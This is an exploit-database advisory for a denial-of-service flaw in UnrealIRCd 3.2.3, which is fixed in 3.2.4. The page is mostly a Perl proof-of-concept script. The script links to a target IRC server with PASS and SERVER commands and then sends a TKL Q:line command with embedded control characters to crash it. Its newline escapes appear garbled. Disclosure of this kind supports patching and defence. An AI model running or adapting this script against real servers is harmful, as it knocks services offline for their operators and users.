UnrealIRCd3.2.3 Server-Link Denial of Service

Advisory Content :

-Description-
UnrealIRCd 3.2.3 is vulnerable to strings sent from a linked server for
adding/removing Q:lines with special characters. Could be sent through
services.
Fixed as of version 3.2.4

-PoC-
#!/usr/bin/perl

# Denial of Service exploit for UnrealIRCd 3.2.3
# Successfully tested on both Win32 and Linux versions.
# admin (at) redneck.servebeer (dot) com [email concealed] (Brandon Milner)

use IO::Socket;
print ("UnrealIRCd Server-Link Denial of Service exploit PoC by Redneckn");

#################
# Variables #
#################
$spass = ("LinkPass"); # Link Password
$lserver = ("your.server.name"); # Local Server name
$rserver = ("remote.server.name"); # Link Server
$rport = (6667); # Link Port
$snum = (6); # Server numeric

#################
# Create socket #
#################
my $sock = new IO::Socket::INET (
PeerAddr => $rserver,
PeerPort => $rport,
Proto => 'tcp',
);

#################
# Connect #
#################
die "Couldn't create socket to $rserver / $rport!n" unless $sock;
sleep 5;
print ("connected to server");
print $sock ("PASS $spassn");
print ("PASS $spassn");
print $sock ("SERVER $lserver 1 $snum :PoC by Redneckn");
print ("SERVER $lserver 1 $snum :PoC by Redneckn");
sleep 5;
print $sock ("TKL - qx08Q *x08PoCn");
print ("TKL - qx08Q *x08PoCn");
sleep 5;

Security

IT News

Search

SecurityAlert Database

About SecurityAlert

ExploitAlert Database

SecurityReason Research

WLB Database

Send to WLB

About WLB

Security Audit

Schedule

Prices of services

Contact

SecurityReason IT News

SecurityAlert

World Laboratory of Bugtraq

ExploitAlert

Apache

PHP

Contact

About SecurityReason

UnrealIRCd3.2.3 Server-Link Denial of Service